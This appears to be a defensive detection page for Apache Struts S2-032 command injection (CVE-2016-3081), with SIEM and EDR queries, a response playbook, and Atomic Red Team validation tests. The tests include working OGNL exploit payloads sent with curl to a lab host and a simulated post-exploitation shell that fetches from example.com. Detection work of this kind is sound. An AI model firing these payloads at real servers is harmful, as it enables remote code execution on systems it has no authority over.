Detect Apache Struts REST Plugin / S2-032 Command Injection (CVE-2016-3081) in CrowdStrike LogScale
Detects exploitation of CVE-2016-3081 (Apache Struts S2-032), a remote command injection flaw in the Struts REST plugin / dynamic method invocation. When Dynamic Method Invocation (DMI) is enabled, an attacker can supply a crafted 'method:' prefixed parameter containing an OGNL expression that is evaluated by the framework, resulting in arbitrary command execution on the server. This detection looks for HTTP requests whose URI, query string or POST body contain the tell-tale 'method:' OGNL payload markers (e.g. getRuntime().exec, _memberAccess, ProcessBuilder, multipart/form-data crafted payloads) and for anomalous child processes spawned by the Java/Tomcat process hosting the Struts application. CVE-2016-3081 is on the CISA KEV catalog and has public exploit code (Exploit-DB 39756).
MITRE ATT&CK
- Tactic
- Initial Access Execution
LogScale Detection Query
#event_simpleName=ProcessRollup2
| (ParentBaseFileName=/^(java|java.exe|catalina.sh|tomcat.*)$/i)
| (FileName=/^(sh|bash|cmd.exe|powershell.exe|whoami|id|curl|wget|nc|ncat)$/i)
| table([_time, ComputerName, ParentBaseFileName, FileName, CommandLine])
| sort(_time, order=desc) CrowdStrike CQL surfacing suspicious child processes spawned by a Java/Tomcat parent, the post-exploitation signal of CVE-2016-3081 command injection.
Data Sources
Required Tables
False Positives & Tuning
- Tomcat startup/maintenance scripts spawning shells
- Application features that legitimately shell out
- Admin troubleshooting from the app server
Other platforms for CVE-2016-3081
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Struts S2-032 method: OGNL command injection via GET
Expected signal: Web access log entry containing 'method:' and OGNL markers; Java/Tomcat spawning an 'id' child process.
- Test 2Struts S2-032 OGNL injection via POST body
Expected signal: Access/WAF log with decoded 'method:' OGNL payload; endpoint shows java -> whoami process ancestry.
- Test 3Struts post-exploitation child process simulation
Expected signal: ProcessRollup2 / endpoint process events showing catalina.sh spawning id, whoami and curl.
References (5)
- https://cwiki.apache.org/confluence/display/WW/S2-032
- https://nvd.nist.gov/vuln/detail/CVE-2016-3081
- https://www.exploit-db.com/exploits/39756
- https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk
- https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk
Response Playbook
Triage
- Confirm the affected host runs Apache Struts 2.3.19–2.3.28 with the REST plugin or Dynamic Method Invocation enabled; check struts.xml for struts.enable.DynamicMethodInvocation=true.
- URL-decode the captured request and confirm the 'method:' parameter carries an OGNL expression (getRuntime, ProcessBuilder, _memberAccess) rather than a benign literal.
- Determine whether the request returned HTTP 200 and whether a matching anomalous child process was spawned by the Java/Tomcat process within ~2 minutes, indicating successful execution vs. a blocked probe.
- Identify the source IP, geolocation and whether it belongs to an authorized scanner or known-bad infrastructure.
Containment
- Isolate or network-segment the affected Struts host to prevent lateral movement and C2 callbacks.
- Block the attacker source IP(s) at the perimeter/WAF and deploy a WAF signature blocking 'method:' OGNL payloads as an interim mitigation.
- Disable Dynamic Method Invocation (struts.enable.DynamicMethodInvocation=false) and/or the REST plugin until patching is complete.
Evidence Collection
- Preserve the full web server access logs, WAF logs and the raw decoded request body for the exploitation window.
- Capture the Java/Tomcat process tree, spawned child process command lines, and any dropped files or webshells under the webapp directory.
- Collect memory and disk images of the affected host before remediation if compromise is confirmed.
Escalation Criteria
- !Escalate to IR if a child process (shell, whoami, curl, wget, nc) was spawned by the Java/Tomcat parent following the request.
- !Escalate if a webshell, new scheduled task/cron job, new local account, or outbound C2 connection is discovered on the host.
- !Escalate if the exploited host has access to sensitive data stores, domain credentials, or internal management networks.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Web server/WAF access logs containing 'method:' OGNL payloads - >
Java/Tomcat process tree with anomalous shell children - >
Newly created files (webshells, scripts) under the Struts webapp deployment directory - >
Catalina/application logs showing OGNL evaluation errors or stack traces
Tuning Guidance
Baseline legitimate application parameters that may contain the literal 'method:' string and exclude them. Whitelist authorized scanner source IPs. Tighten precision by requiring both the 'method:' prefix AND an OGNL operator (getRuntime, ProcessBuilder, _memberAccess, @java.lang.Runtime@). Pair the HTTP-layer detections with the endpoint process-ancestry rules to confirm successful execution and suppress blocked-probe noise.
Hunting Queries
Hunt for repeated Struts DMI OGNL injection attempts grouped by source IP to identify active exploitation campaigns.
W3CIISLog | extend d=tolower(url_decode(strcat(csUriStem,"?",csUriQuery))) | where d contains "method:" and d has_any("getruntime","processbuilder","_memberaccess") | summarize count() by cIP, bin(TimeGenerated,1h) sourcetype=iis OR sourcetype=apache:access | eval d=urldecode(lower(_raw)) | where like(d,"%method:%") AND (like(d,"%getruntime%") OR like(d,"%processbuilder%")) | stats count by clientip Atomic Red Team Tests
Sends a crafted GET request with a 'method:' OGNL payload invoking Runtime.exec against a lab Struts instance.
Command
curl -s 'http://struts-lab.local:8080/struts2-showcase/index.action?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23w%3d%23context.get(%23parameters.rpsobj%5B0%5D),%23w.getWriter().println(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream())&cmd=id&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponseAware' Cleanup
echo 'no cleanup required for request-only test' Expected Telemetry
Web access log entry containing 'method:' and OGNL markers; Java/Tomcat spawning an 'id' child process.
Expected Detection
kql/spl/qradar_aql/sumo_logic/chronicle_yaral HTTP rules fire on the payload; elastic_eql/crowdstrike_cql fire on the resulting child process.
Delivers the method: OGNL payload in a POST body to exercise body-based inspection.
Command
curl -s -X POST 'http://struts-lab.local:8080/struts2-showcase/index.action' --data-urlencode 'method:#[email protected]@DEFAULT_MEMBER_ACCESS,#[email protected]@getRuntime().exec("whoami")' Cleanup
echo 'no cleanup required' Expected Telemetry
Access/WAF log with decoded 'method:' OGNL payload; endpoint shows java -> whoami process ancestry.
Expected Detection
HTTP-layer SIEM rules match on body/URL markers; EDR rules match the whoami child process.
Simulates the post-exploitation behavior by having a Tomcat-named parent spawn a shell, validating the endpoint ancestry rules independently of a live Struts target.
Command
cp /bin/bash /tmp/catalina.sh && /tmp/catalina.sh -c 'id; whoami; curl -s http://example.com/x' Cleanup
rm -f /tmp/catalina.sh Expected Telemetry
ProcessRollup2 / endpoint process events showing catalina.sh spawning id, whoami and curl.
Expected Detection
crowdstrike_cql and elastic_eql process-ancestry rules fire on the suspicious child processes.